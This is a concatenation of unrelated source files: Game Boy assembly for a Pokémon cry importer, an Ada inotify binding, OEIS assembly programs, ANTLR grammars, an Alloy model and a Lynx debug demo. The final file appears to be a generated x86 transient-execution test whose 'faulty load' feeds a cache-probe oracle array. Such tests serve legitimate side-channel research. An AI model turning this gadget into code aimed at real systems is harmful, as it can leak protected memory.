dec bc
ld a,b
or c
jr nz,_CopyRAM
ret
; Copy up to 256 bytes to RAM.
; INPUT: hl = source
; de = destination
; b = size
_CopyRAMSmall::
ld a,[hl+]
ld [de],a
inc de
dec b
jr nz,_CopyRAMSmall
ret
; ==================
; Interrupt handlers
; ==================
DoVBlank::
push af
push bc ; CheckInput uses bc
ld a,[sys_CurrentFrame]
inc a
ld [sys_CurrentFrame],a ; increment current frame
call CheckInput ; get button input for current frame
; A+B+Start+Select restart sequence
ld a,[sys_btnHold]
cp _A+_B+_Start+_Select ; is A+B+Start+Select pressed
jr nz,.noreset ; if not, skip
ld a,[sys_ResetTimer] ; get reset timer
inc a
ld [sys_ResetTimer],a ; store reset timer
cp 60 ; has 1 second passed?
jr nz,.continue ; if not, skip
ld a,[sys_GBType] ; get current GB model
dec a ; GBC?
jr z,.gbc ; if yes, jump
dec a ; GBA?
jr z,.gba ; if yes, jump
.dmg ; default case: assume DMG
xor a ; a = 0, b = whatever
jr .dorestart
.gbc ; a = $11, b = 0
ld a,$11
ld b,0
jr .dorestart
.gba ; a = $11, b = 1
ld a,$11
ld b,1
; fall through to .dorestart
.dorestart
jp ProgramStart ; restart game
.noreset ; if A+B+Start+Select aren't held...
xor a
ld [sys_ResetTimer],a ; reset timer
.continue
; done
ld a,1
ld [sys_VBlankFlag],a ; set VBlank flag
pop bc
pop af
reti
DoStat::
push af
ld a,1
ld [sys_LCDCFlag],a
pop af
reti
DoTimer::
push af
ld a,1
ld [sys_TimerFlag],a
pop af
reti
; =======================
; Error handling routines
; =======================
_Panic::
jr _Panic
; =======================
; Interrupt wait routines
; =======================
_WaitVBlank::
ldh a,[rIE]
bit IEF_VBLANK,a
ret z
.wait
halt
ld a,[sys_VBlankFlag]
and a
jr nz,.wait
xor a
ld [sys_VBlankFlag],a
ret
_WaitTimer::
ldh a,[rIE]
bit IEF_TIMER,a
ret z
.wait
halt
ld a,[sys_TimerFlag]
and a
jr nz,.wait
xor a
ld [sys_VBlankFlag],a
ret
_WaitLCDC::
ldh a,[rIE]
bit IEF_LCDC,a
ret z
.wait
halt
ld a,[sys_LCDCFlag]
and a
jr nz,.wait
xor a
ld [sys_LCDCFlag],a
ret
; =================
; Graphics routines
; =================
_CopyTileset:: ; WARNING: Do not use while LCD is on!
ld a,[hl+] ; get byte
ld [de],a ; write byte
inc de
dec bc
ld a,b ; check if bc = 0
or c
jr nz,_CopyTileset ; if bc != 0, loop
ret
_CopyTilesetSafe:: ; same as _CopyTileset, but waits for VRAM accessibility before writing data
ldh a,[rSTAT]
and 2 ; check if VRAM is accessible
jr nz,_CopyTilesetSafe ; if it isn't, loop until it is
ld a,[hl+] ; get byte
ld [de],a ; write byte
inc de
dec bc
ld a,b ; check if bc = 0
or c
jr nz,_CopyTilesetSafe ; if bc != 0, loop
ret
_CopyTileset1BPP:: ; WARNING: Do not use while LCD is on!
ld a,[hl+] ; get byte
ld [de],a ; write byte
inc de ; increment destination address
ld [de],a ; write byte again
inc de ; increment destination address again
dec bc
dec bc ; since we're copying two bytes, we need to dec bc twice
ld a,b ; check if bc = 0
or c
jr nz,_CopyTileset1BPP ; if bc != 0, loop
ret
_CopyTileset1BPPInvert:: ; WARNING: Do not use while LCD is on!
ld a,[hl+] ; get byte
cpl ; invert byte
ld [de],a ; write byte
inc de ; increment destination address
ld [de],a ; write byte again
inc de ; increment destination address again
dec bc
dec bc ; since we're copying two bytes, we need to dec bc twice
ld a,b ; check if bc = 0
or c
jr nz,_CopyTileset1BPPInvert ; if bc != 0, loop
ret
_CopyTileset1BPPSafe:: ; same as _CopyTileset1BPP, but waits for VRAM accessibility before writing data
ldh a,[rSTAT]
and 2 ; check if VRAM is accessible
jr nz,_CopyTileset1BPPSafe ; if it isn't, loop until it is
ld a,[hl+] ; get byte
ld [de],a ; write byte
inc de ; increment destination address
ld [de],a ; write byte again
inc de ; increment destination address again
dec bc
dec bc ; since we're copying two bytes, we need to dec bc twice
ld a,b ; check if bc = 0
or c
jr nz,_CopyTileset1BPP ; if bc != 0, loop
ret
; =============
; Graphics data
; =============
Font:: incbin "GFX/Font.bin"
; ================================
InitCryImporter::
rst $10
xor a
ldh [rLCDC],a
call MapSetup_Sound_Off
; load font + graphics
CopyTileset1BPP Font,0,98
ld hl,CryImporterTilemap
call LoadMapText
; init rendering variables
SetDMGPal rBGP, 0,1,2,3
SetDMGPal rOBP0,0,0,2,3
SetDMGPal rOBP1,0,1,2,3
xor a
ldh [rSCX],a
ldh [rSCY],a
ldh [rWX],a
ldh [rWY],a
ld a,%10010001
ldh [rLCDC],a
ld a,IEF_VBLANK
ldh [rIE],a
ei
halt
CryImporterLoop::
ld a,[sys_btnPress]
bit btnA,a
jr nz,.importCry
bit btnB,a
jp nz,InitCryEditor
bit btnStart,a
jr nz,.importCry
bit btnSelect,a
jp nz,.previewCry
ld hl,sys_MenuPos
bit btnUp,a
jr nz,.add16
bit btnDown,a
jr nz,.sub16
bit btnRight,a
jr nz,.add1
bit btnLeft,a
jr nz,.sub1
jr .continue
.add16
ld a,[hl]
add 16
ld [hl],a
jr .continue
.sub16
ld a,[hl]
sub 16
ld [hl],a
jr .continue
.add1
inc [hl]
jr .continue
.sub1
dec [hl]
jr .continue
.previewCry
ld a,[sys_MenuPos]
cp $ff
jr z,.continue
ld d,0
ld e,a
call PlayCry
jr .continue
.importCry
ld a,[sys_MenuPos]
cp $ff
jr z,.nocry
ld d,0
ld e,a
call PlayCry
.cryloop
halt
call UpdateSound
call IsSFXPlaying
jr nc,.cryloop
ld hl,PokemonCries
add hl,de
add hl,de
add hl,de
add hl,de
add hl,de
add hl,de
ld a,[hl+]
inc hl
ld [CryEdit_CryBase],a
ld a,[hl+]
ld [CryEdit_CryPitch],a
ld a,[hl+]
ld [CryEdit_CryPitch+1],a
ld a,[hl+]
ld [CryEdit_CryLength],a
ld a,[hl]
ld [CryEdit_CryLength+1],a
jp InitCryEditor
.nocry
ld de,$19 ; SFX_WRONG
call PlaySFX
.continue
ld a,[sys_MenuPos]
ld hl,$9871
call DrawHex
ld a,[sys_MenuPos]
ld bc,$9881
call PrintMonName
call UpdateSound
halt
jp CryImporterLoop
CryImporterTilemap::
; ####################
db " "
db " - CRY IMPORTER - "
db " "
db " Cry ID: $?? "
db " ?????????? "
db " "
db " - CONTROLS - "
db " Left/Right +- 1 "
db " Up/Down +- 16 "
db " A/Start Import "
db " B Exit "
db " Select Preview "
db " "
db " "
db " "
db " "
db " "
db " "
db " "
; Input: a = Pokemon ID, bc = screen pos
PrintMonName:
ld h,0
ld l,a
add hl,hl ; x2
ld d,h
ld e,l
add hl,hl ; x4
add hl,hl ; x8
add hl,de ; x10
ld a,bank(PokemonNames)
ld [rROMB0],a
ld de,PokemonNames
add hl,de
ld d,b
ld e,c
ld b,10
.loop
WaitForVRAM
ld a,[hl+]
sub 32
ld [de],a
inc de
dec b
jr nz,.loop
ld a,1
ld [rROMB0],a
ret
; ============
; Sprite stuff
; ============
CopyDMARoutine::
ld bc,$80 + ((_OAM_DMA_End-_OAM_DMA) << 8)
ld hl,_OAM_DMA
.loop
ld a,[hl+]
ld [c],a
inc c
dec b
jr nz,.loop
ret
_OAM_DMA::
ld a,high(SpriteBuffer)
ldh [rDMA],a
ld a,$28
.wait
dec a
jr nz,.wait
ret
_OAM_DMA_End:
; =============
; Misc routines
; =============
PtrToHL::
ld a,[hl+]
ld h,[hl]
ld l,a
ret
PtrToDE::
ld a,[hl+]
ld d,[hl]
ld e,a
ret
; =============
; Pokemon names
; =============
;section "Pokemon names",romx,bank[2]
PokemonNames::
db "BULBASAUR "
db "IVYSAUR "
db "VENUSAUR "
db "CHARMANDER"
db "CHARMELEON"
db "CHARIZARD "
db "SQUIRTLE "
db "WARTORTLE "
db "BLASTOISE "
db "CATERPIE "
db "METAPOD "
db "BUTTERFREE"
db "WEEDLE "
db "KAKUNA "
db "BEEDRILL "
db "PIDGEY "
db "PIDGEOTTO "
db "PIDGEOT "
db "RATTATA "
db "RATICATE "
db "SPEAROW "
db "FEAROW "
db "EKANS "
db "ARBOK "
db "PIKACHU "
db "RAICHU "
db "SANDSHREW "
db "SANDSLASH "
db "NIDORAN",$80," "
db "NIDORINA "
db "NIDOQUEEN "
db "NIDORAN",$81," "
db "NIDORINO "
db "NIDOKING "
db "CLEFAIRY "
db "CLEFABLE "
db "VULPIX "
db "NINETALES "
db "JIGGLYPUFF"
db "WIGGLYTUFF"
db "ZUBAT "
db "GOLBAT "
db "ODDISH "
db "GLOOM "
db "VILEPLUME "
db "PARAS "
db "PARASECT "
db "VENONAT "
db "VENOMOTH "
db "DIGLETT "
db "DUGTRIO "
db "MEOWTH "
db "PERSIAN "
db "PSYDUCK "
db "GOLDUCK "
db "MANKEY "
db "PRIMEAPE "
db "GROWLITHE "
db "ARCANINE "
db "POLIWAG "
db "POLIWHIRL "
db "POLIWRATH "
db "ABRA "
db "KADABRA "
db "ALAKAZAM "
db "MACHOP "
db "MACHOKE "
db "MACHAMP "
db "BELLSPROUT"
db "WEEPINBELL"
db "VICTREEBEL"
db "TENTACOOL "
db "TENTACRUEL"
db "GEODUDE "
db "GRAVELER "
db "GOLEM "
db "PONYTA "
db "RAPIDASH "
db "SLOWPOKE "
db "SLOWBRO "
db "MAGNEMITE "
db "MAGNETON "
db "FARFETCH'D"
db "DODUO "
db "DODRIO "
db "SEEL "
db "DEWGONG "
db "GRIMER "
db "MUK "
db "SHELLDER "
db "CLOYSTER "
db "GASTLY "
db "HAUNTER "
db "GENGAR "
db "ONIX "
db "DROWZEE "
db "HYPNO "
db "KRABBY "
db "KINGLER "
db "VOLTORB "
db "ELECTRODE "
db "EXEGGCUTE "
db "EXEGGUTOR "
db "CUBONE "
db "MAROWAK "
db "HITMONLEE "
db "HITMONCHAN"
db "LICKITUNG "
db "KOFFING "
db "WEEZING "
db "RHYHORN "
db "RHYDON "
db "CHANSEY "
db "TANGELA "
db "KANGASKHAN"
db "HORSEA "
db "SEADRA "
db "GOLDEEN "
db "SEAKING "
db "STARYU "
db "STARMIE "
db "MR.MIME "
db "SCYTHER "
db "JYNX "
db "ELECTABUZZ"
db "MAGMAR "
db "PINSIR "
db "TAUROS "
db "MAGIKARP "
db "GYARADOS "
db "LAPRAS "
db "DITTO "
db "EEVEE "
db "VAPOREON "
db "JOLTEON "
db "FLAREON "
db "PORYGON "
db "OMANYTE "
db "OMASTAR "
db "KABUTO "
db "KABUTOPS "
db "AERODACTYL"
db "SNORLAX "
db "ARTICUNO "
db "ZAPDOS "
db "MOLTRES "
db "DRATINI "
db "DRAGONAIR "
db "DRAGONITE "
db "MEWTWO "
db "MEW "
db "CHIKORITA "
db "BAYLEEF "
db "MEGANIUM "
db "CYNDAQUIL "
db "QUILAVA "
db "TYPHLOSION"
db "TOTODILE "
db "CROCONAW "
db "FERALIGATR"
db "SENTRET "
db "FURRET "
db "HOOTHOOT "
db "NOCTOWL "
db "LEDYBA "
db "LEDIAN "
db "SPINARAK "
db "ARIADOS "
db "CROBAT "
db "CHINCHOU "
db "LANTURN "
db "PICHU "
db "CLEFFA "
db "IGGLYBUFF "
db "TOGEPI "
db "TOGETIC "
db "NATU "
db "XATU "
db "MAREEP "
db "FLAAFFY "
db "AMPHAROS "
db "BELLOSSOM "
db "MARILL "
db "AZUMARILL "
db "SUDOWOODO "
db "POLITOED "
db "HOPPIP "
db "SKIPLOOM "
db "JUMPLUFF "
db "AIPOM "
db "SUNKERN "
db "SUNFLORA "
db "YANMA "
db "WOOPER "
db "QUAGSIRE "
db "ESPEON "
db "UMBREON "
db "MURKROW "
db "SLOWKING "
db "MISDREAVUS"
db "UNOWN "
db "WOBBUFFET "
db "GIRAFARIG "
db "PINECO "
db "FORRETRESS"
db "DUNSPARCE "
db "GLIGAR "
db "STEELIX "
db "SNUBBULL "
db "GRANBULL "
db "QWILFISH "
db "SCIZOR "
db "SHUCKLE "
db "HERACROSS "
db "SNEASEL "
db "TEDDIURSA "
db "URSARING "
db "SLUGMA "
db "MAGCARGO "
db "SWINUB "
db "PILOSWINE "
db "CORSOLA "
db "REMORAID "
db "OCTILLERY "
db "DELIBIRD "
db "MANTINE "
db "SKARMORY "
db "HOUNDOUR "
db "HOUNDOOM "
db "KINGDRA "
db "PHANPY "
db "DONPHAN "
db "PORYGON2 "
db "STANTLER "
db "SMEARGLE "
db "TYROGUE "
db "HITMONTOP "
db "SMOOCHUM "
db "ELEKID "
db "MAGBY "
db "MILTANK "
db "BLISSEY "
db "RAIKOU "
db "ENTEI "
db "SUICUNE "
db "LARVITAR "
db "PUPITAR "
db "TYRANITAR "
db "LUGIA "
db "HO-OH "
db "CELEBI "
db "????? "
db "????? "
db "????? "
db "????? "
db "????? "
; ===========
; Sound stuff
; ===========
include "audio.asm"
|
src/inotify.ads | onox/inotify-ada | 9 | 16841 | <filename>src/inotify.ads
-- SPDX-License-Identifier: Apache-2.0
--
-- Copyright (c) 2019 onox <<EMAIL>>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
private with Interfaces.C;
private with Ada.Containers.Bounded_Vectors;
private with Ada.Containers.Indefinite_Hashed_Maps;
private with Ada.Containers.Vectors;
private with Ada.Finalization;
private with Ada.Strings.Unbounded;
private with GNAT.OS_Lib;
package Inotify is
pragma Preelaborate;
type Watch_Bits is record
Accessed : Boolean := False;
Modified : Boolean := False;
Metadata : Boolean := False;
Closed_Write : Boolean := False;
Closed_No_Write : Boolean := False;
Opened : Boolean := False;
Moved_From : Boolean := False;
Moved_To : Boolean := False;
Created : Boolean := False;
Deleted : Boolean := False;
Deleted_Self : Boolean := False;
Moved_Self : Boolean := False;
Only_Directories : Boolean := False;
Do_Not_Follow : Boolean := False;
Exclude_Unlinked : Boolean := False;
Add_Mask : Boolean := False;
One_Shot : Boolean := False;
end record;
All_Events : constant Watch_Bits;
type Instance is tagged limited private;
pragma Preelaborable_Initialization (Instance);
function File_Descriptor (Object : Instance) return Integer;
-- Return the file descriptor of the inotify instance
--
-- The returned file descript may only be used for polling.
type Watch is private;
procedure Add_Watch
(Object : in out Instance;
Path : String;
Mask : Watch_Bits := All_Events);
function Add_Watch
(Object : in out Instance;
Path : String;
Mask : Watch_Bits := All_Events) return Watch;
procedure Remove_Watch (Object : in out Instance; Subject : Watch);
function Has_Watches (Object : in out Instance) return Boolean;
function Name (Object : Instance; Subject : Watch) return String;
type Event_Kind is
(Accessed,
Modified,
Metadata,
Closed_Write,
Closed_No_Write,
Opened,
Moved_From,
Moved_To,
Created,
Deleted,
Deleted_Self,
Moved_Self,
Unmounted_Filesystem);
procedure Process_Events
(Object : in out Instance;
Handle : not null access procedure
(Subject : Watch;
Event : Event_Kind;
Is_Directory : Boolean;
Name : String));
-- Wait and process events
--
-- If reading an event fails, a Read_Error is raised. If the event queue
-- overflowed then Queue_Overflow_Error is raised.
procedure Process_Events
(Object : in out Instance;
Handle : not null access procedure
(Subject : Watch;
Event : Event_Kind;
Is_Directory : Boolean;
Name : String);
Move_Handle : not null access procedure
(Subject : Watch;
Is_Directory : Boolean;
From, To : String));
-- Wait and process events
--
-- Move_Handle is called after matching Moved_From and Moved_To events
-- have been processed. To be effective, Add_Watch must have been called
-- with a mask containing these two events.
--
-- If reading an event fails, a Read_Error is raised. If the event queue
-- overflowed then Queue_Overflow_Error is raised.
Read_Error : exception;
Queue_Overflow_Error : exception;
private
for Event_Kind use
(Accessed => 16#0001#,
Modified => 16#0002#,
Metadata => 16#0004#,
Closed_Write => 16#0008#,
Closed_No_Write => 16#0010#,
Opened => 16#0020#,
Moved_From => 16#0040#,
Moved_To => 16#0080#,
Created => 16#0100#,
Deleted => 16#0200#,
Deleted_Self => 16#0400#,
Moved_Self => 16#0800#,
Unmounted_Filesystem => 16#2000#);
for Event_Kind'Size use 14;
for Watch_Bits use record
Accessed at 0 range 0 .. 0;
Modified at 0 range 1 .. 1;
Metadata at 0 range 2 .. 2;
Closed_Write at 0 range 3 .. 3;
Closed_No_Write at 0 range 4 .. 4;
Opened at 0 range 5 .. 5;
Moved_From at 0 range 6 .. 6;
Moved_To at 0 range 7 .. 7;
Created at 0 range 8 .. 8;
Deleted at 0 range 9 .. 9;
Deleted_Self at 0 range 10 .. 10;
Moved_Self at 0 range 11 .. 11;
Only_Directories at 0 range 24 .. 24;
Do_Not_Follow at 0 range 25 .. 25;
Exclude_Unlinked at 0 range 26 .. 26;
Add_Mask at 0 range 29 .. 29;
One_Shot at 0 range 31 .. 31;
end record;
for Watch_Bits'Size use Interfaces.C.unsigned'Size;
for Watch_Bits'Alignment use Interfaces.C.unsigned'Alignment;
All_Events : constant Watch_Bits :=
(Accessed |
Modified |
Metadata |
Closed_Write |
Closed_No_Write |
Opened |
Moved_From |
Moved_To |
Created |
Deleted |
Deleted_Self |
Moved_Self =>
True,
others => False);
-----------------------------------------------------------------------------
package SU renames Ada.Strings.Unbounded;
type Move is record
From, To : SU.Unbounded_String;
end record;
type Cookie_Move_Pair is record
Key : Interfaces.C.unsigned;
Value : Move;
end record;
package Move_Vectors is new Ada.Containers.Bounded_Vectors
(Index_Type => Positive,
Element_Type => Cookie_Move_Pair);
-----------------------------------------------------------------------------
function Hash (Key : Interfaces.C.int) return Ada.Containers.Hash_Type is
(Ada.Containers.Hash_Type (Key));
package Watch_Maps is new Ada.Containers.Indefinite_Hashed_Maps
(Key_Type => Interfaces.C.int,
Element_Type => String,
Hash => Hash,
Equivalent_Keys => Interfaces.C."=");
type Watch is record
Watch : Interfaces.C.int;
end record;
package Watch_Vectors is new Ada.Containers.Vectors
(Index_Type => Positive,
Element_Type => Watch);
type Instance is limited new Ada.Finalization.Limited_Controlled with record
Instance : GNAT.OS_Lib.File_Descriptor := GNAT.OS_Lib.Invalid_FD;
Watches : Watch_Maps.Map;
Defer_Remove : Boolean := False;
Pending_Removals : Watch_Vectors.Vector;
Moves : Move_Vectors.Vector (Capacity => 8);
-- A small container to hold pairs of cookies and files that are moved
--
-- The container needs to be bounded because files that are moved
-- to outside the monitored folder do not generate Moved_To events.
-- A vector is used instead of a map so that the oldest pair can
-- be deleted if the container is full.
end record;
pragma Preelaborable_Initialization (Instance);
overriding procedure Initialize (Object : in out Instance);
overriding procedure Finalize (Object : in out Instance);
end Inotify;
|
programs/oeis/249/A249605.asm | neoneye/loda | 22 | 2495 | ; A249605: Dissectible numbers in the sense of Gunjikar and Kaprekar.
; 9,18,27,36,45,54,63,72,81,108,117,126,135,144,153,162,207,216,225,234,243,306,315,324,405
mov $2,$0
mov $0,0
add $2,1
mov $1,$2
lpb $2
add $1,$0
add $2,$0
add $0,2
sub $2,8
trn $2,1
lpe
sub $1,1
mul $1,9
add $1,9
mov $0,$1
|
nlp/src/main/antlr/nl/han/ica/ap/antlr/workshop/nlp/Nlp.g4 | ArjanO/ANTLR-Workshop | 1 | 6132 | <filename>nlp/src/main/antlr/nl/han/ica/ap/antlr/workshop/nlp/Nlp.g4
/*
Copyright (c) 2013 HAN University of Applied Sciences
<NAME>
<NAME>
<NAME>
<NAME>
<NAME>
Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
*/
grammar Nlp;
tekst : zin+;
zin : naamwoordgroep verbaleconstituent '.';
naamwoordgroep : (lidwoord| bijwoord telwoord) zelfstandignaamwoord;
verbaleconstituent : werkwoord naamwoordgroep;
lidwoord : WOORD;
zelfstandignaamwoord : WOORD;
werkwoord : WOORD;
bijwoord : WOORD;
telwoord : CIJFER;
WOORD: ('a'..'z'|'A'..'Z')+;
CIJFER: ('0'..'9')+;
WS : (' ' |'\n' |'\r' )+ -> skip ; |
programs/oeis/047/A047356.asm | neoneye/loda | 22 | 6391 | <filename>programs/oeis/047/A047356.asm
; A047356: Numbers that are congruent to {1, 3} mod 7.
; 1,3,8,10,15,17,22,24,29,31,36,38,43,45,50,52,57,59,64,66,71,73,78,80,85,87,92,94,99,101,106,108,113,115,120,122,127,129,134,136,141,143,148,150,155,157,162,164,169
mul $0,3
div $0,2
mul $0,14
div $0,6
add $0,1
|
alloy4fun_models/trashltl/models/8/Jy9TtE3uBLzYPt8LS.als | Kaixi26/org.alloytools.alloy | 0 | 1986 | open main
pred idJy9TtE3uBLzYPt8LS_prop9 {
all p : Protected | p not in Trash' and p.*link not in Trash'
}
pred __repair { idJy9TtE3uBLzYPt8LS_prop9 }
check __repair { idJy9TtE3uBLzYPt8LS_prop9 <=> prop9o } |
samples/proplist.adb | RREE/ada-util | 60 | 12686 | <gh_stars>10-100
-----------------------------------------------------------------------
-- proplist -- List the properties
-- Copyright (C) 2017 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Ada.Text_IO;
with Ada.Command_Line;
with Util.Properties;
procedure Proplist is
procedure Print (Name : in String;
Value : in Util.Properties.Value);
procedure Print (Name : in String;
Value : in Util.Properties.Value) is
begin
if Util.Properties.Is_Manager (Value) then
Ada.Text_IO.Put_Line ("[" & Name & "]");
Util.Properties.To_Manager (Value).Iterate (Print'Access);
Ada.Text_IO.New_Line;
else
Ada.Text_IO.Put (Name);
Ada.Text_IO.Put ("=");
Ada.Text_IO.Put_Line (Util.Properties.To_String (Value));
end if;
end Print;
Properties : Util.Properties.Manager;
begin
for I in 1 .. Ada.Command_Line.Argument_Count loop
Properties.Load_Properties (Path => Ada.Command_Line.Argument (I));
Properties.Iterate (Print'Access);
end loop;
end Proplist;
|
demos/brk.asm | 42Bastian/new_bll | 4 | 163601 | <reponame>42Bastian/new_bll
*****************
* BRK.ASM
* short program, that installs the BRK-server
* and then stops
*
* created : 15.08.96 by <NAME>
* changed
* 23.12.96 Baudrate is taken from the loader !
****************
BRKuser set 1
Baudrate set 62500
include <macros/help.mac>
include <macros/debug.mac>
include <macros/irq.mac>
include <vardefs/debug.var>
include <vardefs/help.var>
BEGIN_ZP
BRKvec ds 2
END_ZP
RUN $300
Start
START_UP ; disable all IRQs, init S,cli,cld ...
INITBRK
MOVEI EnterBRK,$FFFE ; set IRQ-vector on BRK-routine
lda #%00011101 ; even par/clear all errors
sta $fd8c
lda #%00011000 ; enable count,enable reload
sta $fd11
lda $fd10
sta _brk_baud+1 ; patch BRK-server
; lda #125000/Baudrate-1
sta $fd10 ; 31250Bd
cli
; fall into brk
.1
BREAKPOINT 0
bra .1
include <includes/debug.inc>
|
src/Strem.g4 | woutervh-/stream-dsl | 0 | 6514 | grammar Strem;
source
: '(' source ')' #subSource
| left=source ',' right=source #follow
| left=source '|' right=source #merge
| left=source '->' sourceFactory #compose
| expression #singleSource
| name #namedSource
;
sourceFactory
: name #namedSourceFactory
| 'map' name #map
| 'filter' name #filter
| 'delay' amount=NUMBER unit=('ms' | 's' | 'min' | 'h') #delay
| '{' '...' '}' #each
;
expression
: '(' expression ')' #subExpression
| NUMBER #numberExpression
| STRING #stringExpression
| BOOLEAN #booleanExpression
| left=expression operator=('*' | '/' | '%') right=expression #multiplicative
| left=expression operator=('+' | '-') right=expression #additive
| name #namedExpression
;
name : ID;
BOOLEAN
: 'true' | 'false'
;
ID
: [a-zA-Z_] [0-9a-zA-Z_]*
;
STRING
: '"' (ESC | ~ ["\\])* '"'
;
fragment ESC
: '\\' (["\\/bfnrt] | UNICODE)
;
fragment UNICODE
: 'u' HEX HEX HEX HEX
;
fragment HEX
: [0-9a-fA-F]
;
NUMBER
: '-'? INT '.' [0-9] + EXP? | '-'? INT EXP | '-'? INT
;
fragment INT
: '0' | [1-9] [0-9]*
;
fragment EXP
: [Ee] [+\-]? INT
;
WS
: [ \t\n\r] + -> skip
;
|
grammars/fromStringToCharParser.g4 | RiccardoDeMasellis/FLLOAT | 9 | 7212 | grammar fromStringToCharParser;
@header{
package fromStringToCharParser;
}
options {
//language = java;
}
start
: expression EOF
;
expression
: string (LSEPARATOR string RSEPARATOR string)*
| string
;
string
: EVERYTHING
;
EVERYTHING : ~('{'|'}')+;
LSEPARATOR :('{');
RSEPARATOR : ('}');
//We will ignore all the white spaces
WS : (' ' | '\t' | '\r' | '\n')+ -> skip; |
Transynther/x86/_processed/NC/_zr_/i3-7100_9_0xca_notsx.log_13_946.asm | ljhsiun2/medusa | 9 | 92545 | <reponame>ljhsiun2/medusa<gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r13
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x10236, %rdi
nop
nop
nop
nop
nop
xor $14378, %r11
mov $0x6162636465666768, %r10
movq %r10, %xmm1
vmovups %ymm1, (%rdi)
nop
nop
sub $61638, %r9
lea addresses_WC_ht+0x9536, %r12
nop
nop
nop
dec %rsi
movb (%r12), %r10b
nop
nop
nop
nop
cmp %rsi, %rsi
lea addresses_WC_ht+0x1a3ea, %r10
nop
nop
nop
nop
dec %r13
movl $0x61626364, (%r10)
nop
nop
nop
nop
sub %r12, %r12
lea addresses_UC_ht+0x1b3b6, %r11
nop
nop
xor $62621, %rdi
mov $0x6162636465666768, %r10
movq %r10, (%r11)
nop
nop
nop
nop
inc %r9
lea addresses_A_ht+0x13f36, %rsi
lea addresses_D_ht+0x9a36, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
dec %r10
mov $7, %rcx
rep movsw
nop
nop
nop
nop
nop
dec %r12
lea addresses_D_ht+0x2172, %rdi
nop
nop
sub %r10, %r10
mov (%rdi), %r9w
nop
nop
nop
and $38283, %r10
lea addresses_A_ht+0x1ed36, %r11
nop
cmp %r9, %r9
movw $0x6162, (%r11)
nop
nop
nop
nop
nop
add $377, %r13
lea addresses_UC_ht+0x23b6, %rsi
lea addresses_UC_ht+0xb836, %rdi
nop
xor %r13, %r13
mov $95, %rcx
rep movsw
nop
add $30530, %r10
lea addresses_WT_ht+0x4616, %r13
nop
nop
nop
nop
add $9581, %r10
and $0xffffffffffffffc0, %r13
vmovaps (%r13), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $0, %xmm5, %rdi
nop
nop
nop
nop
add $3771, %r10
lea addresses_WC_ht+0x516, %rsi
dec %r11
movb $0x61, (%rsi)
cmp %rsi, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r13
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r15
push %r8
push %r9
push %rax
push %rdi
// Load
mov $0x66d0eb000000074a, %rax
nop
nop
nop
nop
lfence
mov (%rax), %r9d
and %r9, %r9
// Faulty Load
mov $0x413c420000000d36, %r12
nop
nop
xor %r8, %r8
mov (%r12), %r9d
lea oracles, %r10
and $0xff, %r9
shlq $12, %r9
mov (%r10,%r9,1), %r9
pop %rdi
pop %rax
pop %r9
pop %r8
pop %r15
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_NC', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False}}
{'src': {'same': True, 'congruent': 8, 'NT': False, 'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': True}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': True}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}}
{'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
